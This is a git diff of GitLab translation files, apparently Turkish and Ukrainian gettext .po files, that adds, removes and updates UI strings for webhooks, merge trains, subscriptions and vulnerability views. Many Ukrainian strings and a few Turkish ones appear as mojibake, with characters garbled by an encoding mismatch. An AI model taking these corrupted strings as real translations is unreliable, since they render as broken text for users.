-
msgid "User IDs"
msgstr "Kullanıcı Kimlikleri"
@@ -26587,9 +27293,15 @@ msgstr "Lisansı bitmiş kullanıcılar:"
msgid "Users requesting access to"
msgstr ""
+msgid "Users requesting access to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
msgid "Users were successfully added."
msgstr ""
+msgid "Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "Users with a Guest role or those who don't belong to any projects or groups don't count towards seats in use."
msgstr ""
@@ -26623,6 +27335,9 @@ msgstr ""
msgid "Validate"
msgstr ""
+msgid "Validate your GitLab CI configuration"
+msgstr ""
+
msgid "Validate your GitLab CI configuration file"
msgstr ""
@@ -26659,6 +27374,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStream|The Default Value Stream cannot be deleted"
+msgstr ""
+
msgid "Variable"
msgstr ""
@@ -26701,6 +27419,12 @@ msgstr ""
msgid "Version"
msgstr "Sürüm"
+msgid "Version %{versionNumber}"
+msgstr ""
+
+msgid "Version %{versionNumber} (latest)"
+msgstr ""
+
msgid "View Documentation"
msgstr ""
@@ -26903,6 +27627,9 @@ msgstr ""
msgid "Vulnerabilities over time"
msgstr ""
+msgid "Vulnerability Report"
+msgstr ""
+
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
@@ -26966,9 +27693,6 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong while trying to unlink the issue. Please try again later."
msgstr ""
-msgid "VulnerabilityManagement|Something went wrong, could not create an issue."
-msgstr ""
-
msgid "VulnerabilityManagement|Something went wrong, could not get user."
msgstr ""
@@ -27110,7 +27834,7 @@ msgstr ""
msgid "We sent you an email with reset password instructions"
msgstr ""
-msgid "We tried to automatically renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
+msgid "We tried to automatically renew your subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
msgstr ""
msgid "We want to be sure it is you, please confirm you are not a robot."
@@ -27155,6 +27879,90 @@ msgstr ""
msgid "Webhooks have moved. They can now be found under the Settings menu."
msgstr ""
+msgid "Webhooks|Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Issues events"
+msgstr ""
+
+msgid "Webhooks|Deployment events"
+msgstr ""
+
+msgid "Webhooks|Enable SSL verification"
+msgstr ""
+
+msgid "Webhooks|Issues events"
+msgstr ""
+
+msgid "Webhooks|Job events"
+msgstr ""
+
+msgid "Webhooks|Merge request events"
+msgstr ""
+
+msgid "Webhooks|Pipeline events"
+msgstr ""
+
+msgid "Webhooks|Push events"
+msgstr ""
+
+msgid "Webhooks|SSL verification"
+msgstr ""
+
+msgid "Webhooks|Secret Token"
+msgstr ""
+
+msgid "Webhooks|Tag push events"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered by a push to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a confidential issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a deployment is finished/failed/canceled"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a merge request is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a new tag is pushed to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a wiki page is created/updated"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when an issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment on a confidential issue"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the job status changes"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the pipeline status changes"
+msgstr ""
+
+msgid "Webhooks|Trigger"
+msgstr ""
+
+msgid "Webhooks|URL"
+msgstr ""
+
+msgid "Webhooks|Use this token to validate received payloads. It will be sent with the request in the X-Gitlab-Token HTTP header."
+msgstr ""
+
+msgid "Webhooks|Wiki Page events"
+msgstr ""
+
msgid "Wednesday"
msgstr ""
@@ -27176,21 +27984,21 @@ msgstr ""
msgid "Welcome to GitLab"
msgstr ""
-msgid "Welcome to GitLab %{name}!"
+msgid "Welcome to GitLab%{br_tag}%{name}!"
msgstr ""
msgid "Welcome to GitLab, %{first_name}!"
msgstr ""
-msgid "Welcome to GitLab.com%{br_tag}@%{name}!"
-msgstr ""
-
msgid "Welcome to the guided GitLab tour"
msgstr ""
msgid "Welcome to your Issue Board!"
msgstr ""
+msgid "Welcome to your issue board!"
+msgstr ""
+
msgid "We’ve been making changes to %{featureName} and we’d love your feedback %{linkStart}in this issue%{linkEnd} to help us improve the experience."
msgstr ""
@@ -27200,6 +28008,9 @@ msgstr ""
msgid "What describes you best?"
msgstr ""
+msgid "What's new at GitLab"
+msgstr ""
+
msgid "What’s your experience level?"
msgstr ""
@@ -27517,10 +28328,10 @@ msgstr ""
msgid "You are connected to the Prometheus server, but there is currently no data to display."
msgstr ""
-msgid "You are going to remove %{group_name}, this will also remove all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
+msgid "You are going to delete %{project_full_name}. Deleted projects CANNOT be restored! Are you ABSOLUTELY sure?"
msgstr ""
-msgid "You are going to remove %{project_full_name}. Removed project CANNOT be restored! Are you ABSOLUTELY sure?"
+msgid "You are going to remove %{group_name}, this will also delete all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
msgstr ""
msgid "You are going to remove the fork relationship from %{project_full_name}. Are you ABSOLUTELY sure?"
@@ -27529,6 +28340,12 @@ msgstr ""
msgid "You are going to transfer %{project_full_name} to another owner. Are you ABSOLUTELY sure?"
msgstr ""
+msgid "You are going to turn off the confidentiality. This means %{strongStart}everyone%{strongEnd} will be able to see and leave a comment on this %{issuableType}."
+msgstr ""
+
+msgid "You are going to turn on the confidentiality. This means that only team members with %{strongStart}at least Reporter access%{strongEnd} are able to see and leave comments on the %{issuableType}."
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -27538,6 +28355,9 @@ msgstr ""
msgid "You are not authorized to perform this action"
msgstr ""
+msgid "You are not authorized to update this scanner profile"
+msgstr ""
+
msgid "You are now impersonating %{username}"
msgstr ""
@@ -27574,9 +28394,6 @@ msgstr ""
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
-msgid "You can also use project access tokens to authenticate against Git over HTTP."
-msgstr ""
-
msgid "You can always edit this later"
msgstr ""
@@ -27610,13 +28427,13 @@ msgstr ""
msgid "You can get started by cloning the repository or start adding files to it with one of the following options."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong> or invite another group."
-msgstr "<strong>%{project_name}</strong> projesine yeni bir üye davet edebilir veya başka bir grubu davet edebilirsiniz."
+msgid "You can invite a new member to %{project_name} or invite another group."
+msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong>."
-msgstr "<strong>%{project_name}</strong> projesine yeni bir üye davet edebilirsiniz."
+msgid "You can invite a new member to %{project_name}."
+msgstr ""
-msgid "You can invite another group to <strong>%{project_name}</strong>."
+msgid "You can invite another group to %{project_name}."
msgstr ""
msgid "You can move around the graph by using the arrow keys."
@@ -27700,10 +28517,10 @@ msgstr "Bu salt okunur GitLab örneğine yazamazsınız."
msgid "You could not create a new trigger."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
+msgid "You didn't renew your subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription so it was downgraded to the GitLab Core Plan."
+msgid "You didn't renew your subscription so it was downgraded to the GitLab Core Plan."
msgstr ""
msgid "You do not have an active license"
@@ -27916,6 +28733,9 @@ msgstr ""
msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
msgstr "Profilinize bir SSH anahtarı ekleyene kadar proje kodunu SSH üzerinden çekemez veya yollayamazsınız"
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "You'll be signed out from your current account automatically."
msgstr ""
@@ -27991,7 +28811,7 @@ msgstr "İşlem e-postanız, düzenlemeler ve birleştirmeler gibi web tabanlı
msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
msgstr "%{openingTag}Gruba özgü bir e-posta adresi%{closingTag} ayarlanmamışsa, varsayılan bildirim e-postanız hesap bildirimleri için kullanılacaktır."
-msgid "Your DevOps Score gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
+msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -28108,6 +28928,9 @@ msgstr "Gruplarınız"
msgid "Your instance has %{remaining_user_count} users remaining of the %{total_user_count} included in your subscription. You can add more users than the number included in your license, and we will include the overage in your next bill."
msgstr ""
+msgid "Your instance has exceeded your subscription's licensed user count."
+msgstr ""
+
msgid "Your instance is approaching its licensed user count"
msgstr ""
@@ -28236,6 +29059,9 @@ msgstr "bu grupla zaten paylaştı"
msgid "among other things"
msgstr ""
+msgid "and"
+msgstr ""
+
msgid "any-approver for the merge request already exists"
msgstr ""
@@ -28538,12 +29364,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "confidentiality|You are going to turn off the confidentiality. This means <strong>everyone</strong> will be able to see and leave a comment on this issue."
-msgstr ""
-
-msgid "confidentiality|You are going to turn on the confidentiality. This means that only team members with <strong>at least Reporter access</strong> are able to see and leave comments on the issue."
-msgstr ""
-
msgid "connecting"
msgstr "bağlanılıyor"
@@ -28700,6 +29520,11 @@ msgstr "projeyi çatalla"
msgid "from"
msgstr ""
+msgid "from %d job"
+msgid_plural "from %d jobs"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "group"
msgstr "grup"
@@ -28745,9 +29570,6 @@ msgstr ""
msgid "in project %{link_to_project}"
msgstr ""
-msgid "index"
-msgstr "dizin"
-
msgid "instance completed"
msgid_plural "instances completed"
msgstr[0] "örnek tamamlandı"
@@ -28789,6 +29611,9 @@ msgstr ""
msgid "is not allowed. Try again with a different email address, or contact your GitLab admin."
msgstr ""
+msgid "is not allowed. We do not currently support project-level iterations"
+msgstr ""
+
msgid "is not an email you own"
msgstr ""
@@ -28938,9 +29763,15 @@ msgstr ""
msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
msgstr ""
+msgid "mrWidget|A new merge train has started and this merge request is the first of the queue."
+msgstr ""
+
msgid "mrWidget|Added to the merge train by"
msgstr ""
+msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
+msgstr ""
+
msgid "mrWidget|Allows commits from members who can merge to the target branch"
msgstr ""
@@ -28953,6 +29784,9 @@ msgstr ""
msgid "mrWidget|An error occurred while submitting your approval."
msgstr "Onayınızı gönderirken bir hata oluştu."
+msgid "mrWidget|Approval is optional"
+msgstr ""
+
msgid "mrWidget|Approval password is invalid."
msgstr ""
@@ -29025,14 +29859,11 @@ msgstr ""
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
-msgid "mrWidget|In the merge train at position %{mergeTrainPosition}"
-msgstr ""
-
msgid "mrWidget|Jump to first unresolved thread"
msgstr ""
msgid "mrWidget|Loading deployment statistics"
-msgstr ""
+msgstr "Dağıtım istatistikleri yükleniyor"
msgid "mrWidget|Mark as ready"
msgstr ""
@@ -29061,12 +29892,6 @@ msgstr "BirleÅŸtiren:"
msgid "mrWidget|More information"
msgstr "Daha fazla bilgi"
-msgid "mrWidget|No approval required"
-msgstr "Onay gerekli deÄŸil"
-
-msgid "mrWidget|No approval required; you can still approve"
-msgstr "Onay gerekli deÄŸil; hala onaylayabilirsiniz"
-
msgid "mrWidget|Open in Web IDE"
msgstr "Web IDE'de aç"
@@ -29074,7 +29899,7 @@ msgid "mrWidget|Pipeline blocked. The pipeline for this merge request requires a
msgstr ""
msgid "mrWidget|Plain diff"
-msgstr ""
+msgstr "Düz değişiklik"
msgid "mrWidget|Ready to be merged automatically. Ask someone with write access to this repository to merge this request"
msgstr ""
@@ -29148,19 +29973,19 @@ msgstr "Kaynak dal silinmeyecek"
msgid "mrWidget|There are merge conflicts"
msgstr "Birleştirme çakışmaları var"
-msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
+msgid "mrWidget|This action will add the merge request to the merge train when pipeline %{pipelineLink} succeeds."
msgstr ""
-msgid "mrWidget|This merge request failed to be merged automatically"
+msgid "mrWidget|This action will start a merge train when pipeline %{pipelineLink} succeeds."
msgstr ""
-msgid "mrWidget|This merge request is in the process of being merged"
+msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
msgstr ""
-msgid "mrWidget|This merge request will be added to the merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
+msgid "mrWidget|This merge request failed to be merged automatically"
msgstr ""
-msgid "mrWidget|This merge request will start a merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
+msgid "mrWidget|This merge request is in the process of being merged"
msgstr ""
msgid "mrWidget|This project is archived, write access has been disabled"
@@ -29328,8 +30153,8 @@ msgstr ""
msgid "point"
msgid_plural "points"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "puan"
+msgstr[1] "puan"
msgid "private"
msgstr "özel"
@@ -29338,7 +30163,7 @@ msgid "private key does not match certificate."
msgstr ""
msgid "processing"
-msgstr ""
+msgstr "iÅŸleniyor"
msgid "project"
msgid_plural "projects"
@@ -29372,6 +30197,9 @@ msgstr ""
msgid "quick actions"
msgstr "hızlı işlemler"
+msgid "recent activity"
+msgstr ""
+
msgid "register"
msgstr "kayıt ol"
@@ -29379,7 +30207,7 @@ msgid "relates to"
msgstr ""
msgid "released %{time}"
-msgstr ""
+msgstr "%{time} yayınlandı"
msgid "remaining"
msgstr "kalan"
@@ -29391,13 +30219,13 @@ msgid "remove due date"
msgstr "bitiş tarihini kaldır"
msgid "remove weight"
-msgstr ""
+msgstr "ağırlığı kaldır"
msgid "removed a Zoom call from this issue"
msgstr ""
msgid "rendered diff"
-msgstr ""
+msgstr "deÄŸiÅŸiklikler iÅŸlendi"
msgid "reply"
msgid_plural "replies"
@@ -29416,9 +30244,6 @@ msgstr ""
msgid "satisfied"
msgstr ""
-msgid "score"
-msgstr "puan"
-
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -29536,6 +30361,9 @@ msgstr ""
msgid "this document"
msgstr "bu belge"
+msgid "time summary"
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr "katkıda bulunanlara yardım etmek için etkili şekilde iletişim kurun!"
@@ -29554,6 +30382,9 @@ msgstr "açılır listeyi aç/kapat"
msgid "triggered"
msgstr "tetiklendi"
+msgid "two-factor authentication settings"
+msgstr ""
+
msgid "unicode domains should use IDNA encoding"
msgstr ""
@@ -29600,7 +30431,7 @@ msgid "view it on GitLab"
msgstr "GitLab'da görüntüle"
msgid "view the blob"
-msgstr ""
+msgstr "damlayı görüntüle"
msgid "view the source"
msgstr ""
@@ -29617,6 +30448,9 @@ msgstr "Yorum ekle"
msgid "vulnerability|Add comment & dismiss"
msgstr "Yorum ekle ve reddet"
+msgid "vulnerability|Add comment and dismiss"
+msgstr ""
+
msgid "vulnerability|Dismiss vulnerability"
msgstr "Güvenlik açığını kapat"
@@ -29624,7 +30458,7 @@ msgid "vulnerability|Save comment"
msgstr "Yorumu kaydet"
msgid "vulnerability|Undo dismiss"
-msgstr ""
+msgstr "Reddetmeyi geri al"
msgid "vulnerability|dismissed"
msgstr "güvenlik açığı kapatıldı"
diff --git a/locale/uk/gitlab.po b/locale/uk/gitlab.po
index 716c6efd789..b640ab44b93 100644
--- a/locale/uk/gitlab.po
+++ b/locale/uk/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: uk\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-08-06 13:43\n"
+"PO-Revision-Date: 2020-09-04 23:06\n"
msgid " %{start} to %{end}"
msgstr "%{start} до %{end}"
@@ -60,14 +60,14 @@ msgstr[3] " покращилоÑÑ Ð½Ð° %d одиниць"
msgid " or "
msgstr " або "
-msgid " or <!merge request id>"
-msgstr " або <!merge request id>"
+msgid " or %{emphasisStart}!merge request id%{emphasisEnd}"
+msgstr ""
-msgid " or <#issue id>"
-msgstr " або <#issue id>"
+msgid " or %{emphasisStart}#issue id%{emphasisEnd}"
+msgstr ""
-msgid " or <&epic id>"
-msgstr " або <&epic id>"
+msgid " or %{emphasisStart}&epic id%{emphasisEnd}"
+msgstr ""
msgid " or references (e.g. path/to/project!merge_request_id)"
msgstr " або поÑÐ¸Ð»Ð°Ð½Ð½Ñ (напр. шлÑÑ…/до/проєкту!id_запиту_на_злиттÑ)"
@@ -75,6 +75,9 @@ msgstr " або поÑÐ¸Ð»Ð°Ð½Ð½Ñ (напр. шлÑÑ…/до/проєкту!id_з
msgid "\"%{path}\" did not exist on \"%{ref}\""
msgstr "\"%{path}\" не Ñ–Ñнував у \"%{ref}\""
+msgid "\"el\" parameter is required for createInstance()"
+msgstr ""
+
msgid "%d Scanned URL"
msgid_plural "%d Scanned URLs"
msgstr[0] ""
@@ -213,10 +216,10 @@ msgstr[3] ""
msgid "%d hour"
msgid_plural "%d hours"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
+msgstr[0] "%d година"
+msgstr[1] "%d години"
+msgstr[2] "%d годин"
+msgstr[3] "%d годин"
msgid "%d inaccessible merge request"
msgid_plural "%d inaccessible merge requests"
@@ -234,10 +237,10 @@ msgstr[3] "%d задач"
msgid "%d issue in this group"
msgid_plural "%d issues in this group"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
+msgstr[0] "%d задача в цій групі"
+msgstr[1] "%d задачі в цій групі"
+msgstr[2] "%d задач в цій групі"
+msgstr[3] "%d задач в цій групі"
msgid "%d issue selected"
msgid_plural "%d issues selected"
@@ -389,6 +392,9 @@ msgstr[3] "%s доданих комітів були виключені Ð´Ð»Ñ Ð
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr "%{actionText} Ñ– %{openOrClose} %{noteable}"
+msgid "%{address} is an invalid IP address range"
+msgstr ""
+
msgid "%{author_link} wrote:"
msgstr ""
@@ -425,6 +431,9 @@ msgstr ""
msgid "%{cores} cores"
msgstr "%{cores} Ñдер"
+msgid "%{count} %{scope} for term '%{term}'"
+msgstr ""
+
msgid "%{count} LOC/commit"
msgstr "%{count} Ñ€Ñдків коду/коміт"
@@ -489,6 +498,9 @@ msgstr ""
msgid "%{description}- Sentry event: %{errorUrl}- First seen: %{firstSeen}- Last seen: %{lastSeen} %{countLabel}: %{count}%{userCountLabel}: %{userCount}"
msgstr "%{description}- Ð¿Ð¾Ð´Ñ–Ñ Ñƒ Sentry: %{errorUrl}- Вперше помічено: %{firstSeen}- ВоÑтаннє помічено: %{lastSeen} %{countLabel}: %{count}%{userCountLabel}: %{userCount}"
+msgid "%{due_date} (Past due)"
+msgstr ""
+
msgid "%{duration}ms"
msgstr "%{duration}мÑ"
@@ -516,20 +528,20 @@ msgstr "%{firstLabel} +%{labelCount} більше"
msgid "%{firstMilestoneName} + %{numberOfOtherMilestones} more"
msgstr "%{firstMilestoneName} + %{numberOfOtherMilestones} більше"
-msgid "%{global_id} is not a valid id for %{expected_type}."
-msgstr "%{global_id} не Ñ” дійÑним ідентифікатором на %{expected_type}."
+msgid "%{global_id} is not a valid ID for %{expected_type}."
+msgstr ""
msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
msgstr "%{group_docs_link_start}Групи%{group_docs_link_end} дозволÑÑŽÑ‚ÑŒ вам керувати Ñ– взаємодіÑти між кількома проєктами. Члени групи мають доÑтуп до уÑÑ–Ñ… Ñ—Ñ— проєктів."
msgid "%{group_name} group members"
-msgstr ""
+msgstr "кориÑтувачі групи %{group_name}"
msgid "%{group_name} uses group managed accounts. You need to create a new GitLab account which will be managed by %{group_name}."
msgstr "%{group_name} викориÑтовує облікові запиÑи керовані групою. Вам необхідно Ñтворити новий обліковий Ð·Ð°Ð¿Ð¸Ñ GitLab, Ñкий буде керуватиÑÑ %{group_name}."
msgid "%{host} sign-in from new location"
-msgstr ""
+msgstr "вхід на %{host} з нового розташуваннÑ"
msgid "%{icon}You are about to add %{usersTag} people to the discussion. They will all receive a notification."
msgstr ""
@@ -544,10 +556,10 @@ msgid "%{issuesSize} issues with a limit of %{maxIssueCount}"
msgstr "%{issuesSize} задач з обмеженнÑм %{maxIssueCount}"
msgid "%{issuesSize} with a limit of %{maxIssueCount}"
-msgstr ""
+msgstr "%{issuesSize} з обмеженнÑм %{maxIssueCount}"
msgid "%{labelStart}Class:%{labelEnd} %{class}"
-msgstr ""
+msgstr "%{labelStart}КлаÑ:%{labelEnd} %{class}"
msgid "%{labelStart}Crash Address:%{labelEnd} %{crash_address}"
msgstr ""
@@ -559,22 +571,22 @@ msgid "%{labelStart}Evidence:%{labelEnd} %{evidence}"
msgstr "%{labelStart}Дані:%{labelEnd} %{evidence}"
msgid "%{labelStart}File:%{labelEnd} %{file}"
-msgstr ""
+msgstr "%{labelStart}Файл:%{labelEnd} %{file}"
msgid "%{labelStart}Headers:%{labelEnd} %{headers}"
msgstr ""
msgid "%{labelStart}Image:%{labelEnd} %{image}"
-msgstr ""
+msgstr "%{labelStart}Образ:%{labelEnd} %{image}"
msgid "%{labelStart}Method:%{labelEnd} %{method}"
-msgstr ""
+msgstr "%{labelStart}Метод:%{labelEnd} %{method}"
msgid "%{labelStart}Namespace:%{labelEnd} %{namespace}"
msgstr "%{labelStart}проÑÑ‚Ñ–Ñ€ імен:%{labelEnd} %{namespace}"
msgid "%{labelStart}Report Type:%{labelEnd} %{reportType}"
-msgstr ""
+msgstr "%{labelStart}Тип звіту:%{labelEnd} %{reportType}"
msgid "%{labelStart}Scanner:%{labelEnd} %{scanner}"
msgstr "%{labelStart}Сканер:%{labelEnd} %{scanner}"
@@ -583,10 +595,10 @@ msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
msgstr ""
msgid "%{labelStart}Status:%{labelEnd} %{status}"
-msgstr ""
+msgstr "%{labelStart}СтатуÑ:%{labelEnd} %{status}"
msgid "%{labelStart}URL:%{labelEnd} %{url}"
-msgstr ""
+msgstr "%{labelStart}URL:%{labelEnd} %{url}"
msgid "%{label_for_message} unavailable"
msgstr "%{label_for_message} недоÑтупний"
@@ -603,9 +615,6 @@ msgstr "%{level_name} не дозволено в %{group_level_name} групі.
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr "%{level_name} не допуÑкаєтьÑÑ, оÑкільки проєкт-джерело цього форку має нижчу видиміÑÑ‚ÑŒ."
-msgid "%{lineOneStart}Drag and drop to upload your designs%{lineOneEnd} or %{linkStart}click to upload%{linkEnd}."
-msgstr "%{lineOneStart}ПеретÑгуйте дизайни%{lineOneEnd} або %{linkStart}, щоб завантажити%{linkEnd}."
-
msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr "%{link_start}ДізнатиÑÑ Ð±Ñ–Ð»ÑŒÑˆÐµ%{link_end} про те, Ñка Ñ–Ð½Ñ„Ð¾Ñ€Ð¼Ð°Ñ†Ñ–Ñ Ð¿ÐµÑ€ÐµÐ´Ð°Ñ”Ñ‚ÑŒÑÑ GitLab Inc."
@@ -624,6 +633,9 @@ msgstr "%{listToShow} та ще %{awardsListLength}."
msgid "%{loadingIcon} Started"
msgstr "%{loadingIcon} Початок"
+msgid "%{location} is missing required keys: %{keys}"
+msgstr ""
+
msgid "%{lock_path} is locked by GitLab User %{lock_user_id}"
msgstr "%{lock_path} заблоковано кориÑтувачем GitLab %{lock_user_id}"
@@ -633,6 +645,18 @@ msgstr ""
msgid "%{mergeLength}/%{usersLength} can merge"
msgstr "%{mergeLength}/%{usersLength} можуть виконувати злиттÑ"
+msgid "%{message} showing first %{warnings_displayed}"
+msgstr ""
+
+msgid "%{milestone_name} (Past due)"
+msgstr ""
+
+msgid "%{milestone} (expired)"
+msgstr ""
+
+msgid "%{milliseconds}ms"
+msgstr ""
+
msgid "%{mrText}, this issue will be closed automatically."
msgstr "%{mrText}, Ñ†Ñ Ð·Ð°Ð´Ð°Ñ‡Ð° буде закрита автоматично."
@@ -755,6 +779,9 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}"
msgstr ""
+msgid "%{seconds}s"
+msgstr ""
+
msgid "%{securityScanner} is not enabled for this project. %{linkStart}More information%{linkEnd}"
msgid_plural "%{securityScanner} are not enabled for this project. %{linkStart}More information%{linkEnd}"
msgstr[0] ""
@@ -784,6 +811,9 @@ msgstr "%{size} MiB"
msgid "%{size} bytes"
msgstr "%{size} байт"
+msgid "%{sourceBranch} into %{targetBranch}"
+msgstr ""
+
msgid "%{spammable_titlecase} was submitted to Akismet successfully."
msgstr "%{spammable_titlecase} було уÑпішно відправлено до Akismet."
@@ -799,6 +829,9 @@ msgstr "%{start} до %{end}"
msgid "%{state} epics"
msgstr "%{state} епіки"
+msgid "%{strongStart}Deletes%{strongEnd} source branch"
+msgstr ""
+
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
@@ -882,6 +915,9 @@ msgstr ""
msgid "%{totalWeight} total weight"
msgstr "%{totalWeight} загальна вага"
+msgid "%{total_warnings} warning(s) found:"
+msgstr ""
+
msgid "%{total} open issue weight"
msgstr "%{total} загальна вага відкритих задач"
@@ -915,6 +951,9 @@ msgstr ""
msgid "%{webhooks_link_start}%{webhook_type}%{link_end} enable you to send notifications to web applications in response to events in a group or project. We recommend using an %{integrations_link_start}integration%{link_end} in preference to a webhook."
msgstr ""
+msgid "&lt; 1 hour"
+msgstr ""
+
msgid "&lt;no name set&gt;"
msgstr ""
@@ -924,7 +963,22 @@ msgstr ""
msgid "&lt;project name&gt;"
msgstr ""
-msgid "'%{data}' is invalid at '%{data_pointer}'. Should be '%{schema}' due to schema definition at '%{schema_pointer}'"
+msgid "'%{data}' at %{location} does not match format: %{format}"
+msgstr ""
+
+msgid "'%{data}' at %{location} does not match pattern: %{pattern}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is invalid: error_type=%{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not of type: %{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not one of: %{enum}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not: %{const}"
msgstr ""
msgid "'%{level}' is not a valid visibility level"
@@ -962,7 +1016,7 @@ msgid "(check progress)"
msgstr "(перевірити прогреÑ)"
msgid "(deleted)"
-msgstr ""
+msgstr "(видалено)"
msgid "(external source)"
msgstr "(зовнішнє джерело)"
@@ -970,6 +1024,9 @@ msgstr "(зовнішнє джерело)"
msgid "(line: %{startLine})"
msgstr ""
+msgid "(max size 15 MB)"
+msgstr ""
+
msgid "(removed)"
msgstr "(видалено)"
@@ -977,7 +1034,7 @@ msgid "(revoked)"
msgstr "(відкликано)"
msgid "* * * * *"
-msgstr ""
+msgstr "* * * * *"
msgid "+ %{amount} more"
msgstr "+ %{amount} більше"
@@ -1034,7 +1091,7 @@ msgid "- show less"
msgstr "- показати менше"
msgid "0 bytes"
-msgstr ""
+msgstr "0 байт"
msgid "0 for unlimited"
msgstr "0 Ð´Ð»Ñ Ð½ÐµÐ¾Ð±Ð¼ÐµÐ¶ÐµÐ½Ð¾Ð³Ð¾"
@@ -1172,7 +1229,7 @@ msgid "3 hours"
msgstr "3 години"
msgid "30 days"
-msgstr ""
+msgstr "30 днів"
msgid "30 minutes"
msgstr "30 хвилин"
@@ -1196,7 +1253,7 @@ msgid "404|Please contact your GitLab administrator if you think this is a mista
msgstr "Будь лаÑка, звернітьÑÑ Ð´Ð¾ адмініÑтратора GitLab, Ñкщо ви вважаєте, що це помилка."
msgid "7 days"
-msgstr ""
+msgstr "7 днів"
msgid "8 hours"
msgstr "8 годин"
@@ -1204,15 +1261,6 @@ msgstr "8 годин"
msgid ":%{startLine} to %{endLine}"
msgstr ":%{startLine} до %{endLine}"
-msgid "< 1 hour"
-msgstr "< 1 години"
-
-msgid "<project name>"
-msgstr "<Ñ–Ð¼â€™Ñ Ð¿Ñ€Ð¾Ñ”ÐºÑ‚Ñƒ>"
-
-msgid "<strong>Deletes</strong> source branch"
-msgstr "<strong>ВидалÑÑ”</strong> гілку-джерело"
-
msgid "A 'Runner' is a process which runs a job. You can set up as many Runners as you need."
msgstr "'Runner' — це процеÑ, Ñкий виконує завданнÑ. Ви можете Ñтворити потрібну кількіÑÑ‚ÑŒ Runner'ів."
